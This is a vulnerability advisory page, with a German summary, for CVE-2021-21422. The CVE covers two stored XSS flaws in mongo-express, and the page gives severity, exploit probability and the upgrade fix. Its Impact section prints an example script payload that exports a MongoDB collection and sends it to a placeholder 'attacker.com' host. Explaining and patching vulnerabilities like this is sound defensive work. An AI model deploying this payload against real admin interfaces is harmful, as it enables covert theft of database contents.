Kurz gesagt
- CVE-2021-21422 ist eine Schwachstelle (MITTEL (CVSS 6.1)) in mongo-express (mongo-express project), mongo-express.
- Wahrscheinlichkeit einer Ausnutzung in den nächsten 30 Tagen (EPSS): 1.6%, höher als bei 75.4% aller Schwachstellen.
- Abhilfe: auf 1.0.0-alpha.4 oder neuer aktualisieren.
Description
Two kinds of XSS were found:
- As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
- Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.
Impact
As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.
Patches
Upgrade to v1.0.0-alpha.4
For more information
If you have any questions or comments about this advisory:
NVD description
mongo-express is a web-based MongoDB admin interface, written with Node.js and express. 1: As mentioned in this issue: https://github.com/mongo-express/mongo-express/issues/577, when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell. 2: Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc. As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use a payload with embedded javascript. This could send an export of a collection to the attacker without even an admin knowing. Other types of attacks such as dropping a database\collection are possible.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free